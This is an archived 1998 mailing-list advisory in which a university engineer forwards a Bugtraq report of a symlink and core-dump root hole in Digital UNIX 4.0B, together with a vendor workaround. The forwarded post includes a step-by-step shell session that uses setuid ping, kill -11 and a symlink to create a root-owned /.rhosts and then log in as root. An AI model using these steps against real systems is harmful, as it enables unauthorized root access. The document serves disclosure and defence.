Symlink/Core Security Hole for DU 4.0B

From: Richard L Jackson Jr <rjackson_at_portal.gmu.edu>
Date: Mon, 06 Apr 1998 18:09:53 -0400 (EDT)

Hello,

A couple of hours ago the below message was posted to bugtraq that
describes yet another way to use symbolic links and core dumps to gain
root access under Digital UNIX. I contacted Digital CSC and was
informed there may not be a patch for Digital UNIX 4.0B at this time
but the engineer suggested a work around. Basically, turn on Enhanced
C2 security and disable the creation of core files by adding
u_rlimit_core#0 to the user profile database -- this can be done with
dxaccounts or 'edauth -dp USER'. It can also be done by doing the
above to your user templates, if defined.

I should hear from the engineer the status of the security hole and
resolution by tomorrow.

I have only tested the hole with Digital UNIX 4.0B.

BUGTRAQ POST FROM rusty_at_mad.it:
----------------------------------------------------
Symlink problem in Digital Unix 4.0, discovered by |-ru5ty- and [SoReN]
(28/03/1998)

Starting 2 suid root programs in background, and killing them with -11 flag,
we'll have a core root owned with our gid and mode 600. Then is enough a
symlink
to create a file everywhere...like /.rhosts.

rusty_at_mad.it soren_at_atlink.it

$ ls -l /.rhosts
/.rhosts not found
$ ls -l /usr/sbin/ping
-rwsr-xr-x 1 root bin 32768 Nov 16 1996 /usr/sbin/ping
$ ln -s /.rhosts core
$ IMP='
>+ +
>'
$ ping somehost &
[1] 1337
$ ping somehost &
[2] 31337
$ kill -11 31337
[1] Segmentation fault /usr/sbin/ping somehost (core dumped)
[2] +Segmentation fault /usr/sbin/ping somehost (core dumped)
$ ls -l /.rhosts
-rw------- 1 root system 385024 Mar 29 05:17 /.rhosts
 ##/.rhosts has been created....that's all.##
$ rlogin localhost -l root

Is a very serious problem, it needs a fix as soon as possible,
infact we can have a DoS if we link our core to the kernel.


Other platforms:

SunOs 4.1.x 5.5.x Doesn't work
Linux 2.0.x Doesn't work
Digital Unix 4.0d Doesn't work
Others (note tested yet)
----------------------------------------------------

-- 
Regards,
Richard Jackson
Computer Center Lead Engineer
Mgr, Central Systems & Dept. UNIX Consulting
University Computing & Information Systems (UCIS)
George Mason University, Fairfax, Virginia
Received on Tue Apr 07 1998 - 00:10:58 NZST

This archive was generated by hypermail 2.4.0 : Wed Nov 08 2023 - 11:53:37 NZDT